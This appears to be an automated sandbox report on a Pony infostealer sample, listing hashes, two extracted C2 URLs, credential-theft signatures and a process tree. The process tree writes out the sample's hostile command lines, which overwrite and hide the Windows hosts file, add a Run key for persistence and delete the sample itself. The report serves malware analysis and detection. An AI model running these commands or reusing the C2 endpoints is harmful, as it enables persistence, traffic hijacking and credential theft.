Analysis
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max time kernel
254s -
max time network
284s -
platform
windows10-2004_x64 -
resource
win10v2004-20221111-en -
resource tags
arch:x64arch:x86image:win10v2004-20221111-enlocale:en-usos:windows10-2004-x64system -
submitted
03-12-2022 05:05
Static task
static1
Behavioral task
behavioral1
Sample
c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe
Resource
win7-20220901-en
General
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Target
c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe
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Size
80KB
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MD5
a02384c9fff09d0a49469d05e6cbb57a
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SHA1
044486f2b47210539e2ccf6d51df4ca7fda676f6
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SHA256
c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85
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SHA512
8472764fe48e03d18f3ff10967cf5eed0c75266bf27ec33d409ee394776ece550f1d7a5f28175bed24fba28bfe6b9e9d00e53db008c28b2f06afc2b806642080
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SSDEEP
1536:3fq6HEuN8BHbg3qAteHCOYAYUOuz0vXiIbYiVlV+Peu5ruBff4TGWIQ367o:FN8BH0MhWxXrV+mvBH4Th3
Malware Config
Extracted
pony
http://saleryplax.info:2346/pony/mac.php
http://derotins.info:2346/pony/mac.php
Signatures
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Drops file in Drivers directory 3 IoCs
Processes:
c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.execmd.exedescription ioc process File created C:\Windows\system32\drivers\etc\test c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe File created C:\Windows\system32\drivers\etc\hosts.sam cmd.exe File opened for modification C:\Windows\system32\drivers\etc\hosts.sam cmd.exe -
Processes:
resource yara_rule behavioral2/memory/4564-135-0x0000000000400000-0x0000000000431000-memory.dmp upx behavioral2/memory/4564-137-0x0000000000400000-0x0000000000431000-memory.dmp upx -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-2971393436-602173351-1645505021-1000\Control Panel\International\Geo\Nation c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe -
Reads data files stored by FTP clients 2 TTPs
Tries to access configuration files associated with programs like FileZilla.
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Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
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Adds Run key to start application 2 TTPs 2 IoCs
Processes:
reg.exedescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Run\240736687 = "cmd.exe /c copy C:\\Users\\Admin\\AppData\\Local\\Temp\\240708671FdOh C:\\Windows\\system32\\drivers\\etc\\hosts /Y && attrib +H C:\\Windows\\system32\\drivers\\etc\\hosts /f" reg.exe Key created \REGISTRY\MACHINE\SOFTWARE\WOW6432Node\Microsoft\windows\CurrentVersion\Run reg.exe -
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
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Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of AdjustPrivilegeToken 48 IoCs
Processes:
c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exedescription pid process Token: SeImpersonatePrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeTcbPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeChangeNotifyPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeCreateTokenPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeBackupPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeRestorePrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeIncreaseQuotaPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeAssignPrimaryTokenPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeImpersonatePrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeTcbPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeChangeNotifyPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeCreateTokenPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeBackupPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeRestorePrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeIncreaseQuotaPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeAssignPrimaryTokenPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeImpersonatePrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeTcbPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeChangeNotifyPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeCreateTokenPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeBackupPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeRestorePrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeIncreaseQuotaPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeAssignPrimaryTokenPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeImpersonatePrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeTcbPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeChangeNotifyPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeCreateTokenPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeBackupPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeRestorePrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeIncreaseQuotaPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeAssignPrimaryTokenPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeImpersonatePrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeTcbPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeChangeNotifyPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeCreateTokenPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeBackupPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeRestorePrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeIncreaseQuotaPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeAssignPrimaryTokenPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeImpersonatePrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeTcbPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeChangeNotifyPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeCreateTokenPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeBackupPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeRestorePrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeIncreaseQuotaPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe Token: SeAssignPrimaryTokenPrivilege 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe -
Suspicious use of WriteProcessMemory 15 IoCs
Processes:
c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.execmd.execmd.exedescription pid process target process PID 4564 wrote to memory of 1836 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe cmd.exe PID 4564 wrote to memory of 1836 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe cmd.exe PID 4564 wrote to memory of 1836 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe cmd.exe PID 4564 wrote to memory of 2404 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe cmd.exe PID 4564 wrote to memory of 2404 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe cmd.exe PID 4564 wrote to memory of 2404 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe cmd.exe PID 1836 wrote to memory of 4100 1836 cmd.exe at.exe PID 1836 wrote to memory of 4100 1836 cmd.exe at.exe PID 1836 wrote to memory of 4100 1836 cmd.exe at.exe PID 2404 wrote to memory of 4720 2404 cmd.exe reg.exe PID 2404 wrote to memory of 4720 2404 cmd.exe reg.exe PID 2404 wrote to memory of 4720 2404 cmd.exe reg.exe PID 4564 wrote to memory of 1760 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe cmd.exe PID 4564 wrote to memory of 1760 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe cmd.exe PID 4564 wrote to memory of 1760 4564 c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe cmd.exe
Processes
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C:\Users\Admin\AppData\Local\Temp\c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe"C:\Users\Admin\AppData\Local\Temp\c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe"1⤵
- Drops file in Drivers directory
- Checks computer location settings
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c copy %WINDIR%\system32\drivers\etc\hosts %WINDIR%\system32\drivers\etc\hosts.sam /Y && at 05:24:00 cmd.exe /c copy %TEMP%\240708671FdOh %WINDIR%\system32\drivers\etc\hosts /Y2⤵
- Drops file in Drivers directory
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\at.exeat 05:24:00 cmd.exe /c copy C:\Users\Admin\AppData\Local\Temp\240708671FdOh C:\Windows\system32\drivers\etc\hosts /Y3⤵
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c reg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\CurrentVersion\Run /v 240736687 /t REG_SZ /d "cmd.exe /c copy %TEMP%\240708671FdOh %WINDIR%\system32\drivers\etc\hosts /Y && attrib +H %WINDIR%\system32\drivers\etc\hosts /f2⤵
- Suspicious use of WriteProcessMemory
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C:\Windows\SysWOW64\reg.exereg add HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\windows\CurrentVersion\Run /v 240736687 /t REG_SZ /d "cmd.exe /c copy C:\Users\Admin\AppData\Local\Temp\240708671FdOh C:\Windows\system32\drivers\etc\hosts /Y && attrib +H C:\Windows\system32\drivers\etc\hosts /f3⤵
- Adds Run key to start application
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C:\Windows\SysWOW64\cmd.exe"C:\Windows\System32\cmd.exe" /c ping -n 10 127.0.0.1 > NUL && del "C:\Users\Admin\AppData\Local\Temp\c9220984b02542258def3e0262662977b0c5da785f0c14ffe318cc8300c0fa85.exe"2⤵
Network
MITRE ATT&CK Matrix ATT&CK v6
Replay Monitor
Loading Replay Monitor...
Downloads
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memory/1760-142-0x0000000000000000-mapping.dmp
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memory/1836-138-0x0000000000000000-mapping.dmp
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memory/2404-139-0x0000000000000000-mapping.dmp
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memory/4100-140-0x0000000000000000-mapping.dmp
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memory/4564-132-0x0000000000400000-0x0000000000431000-memory.dmpFilesize
196KB
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memory/4564-133-0x0000000000400000-0x0000000000431000-memory.dmpFilesize
196KB
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memory/4564-134-0x0000000000590000-0x00000000005C1000-memory.dmpFilesize
196KB
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memory/4564-135-0x0000000000400000-0x0000000000431000-memory.dmpFilesize
196KB
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memory/4564-136-0x0000000000590000-0x00000000005C1000-memory.dmpFilesize
196KB
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memory/4564-137-0x0000000000400000-0x0000000000431000-memory.dmpFilesize
196KB
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memory/4720-141-0x0000000000000000-mapping.dmp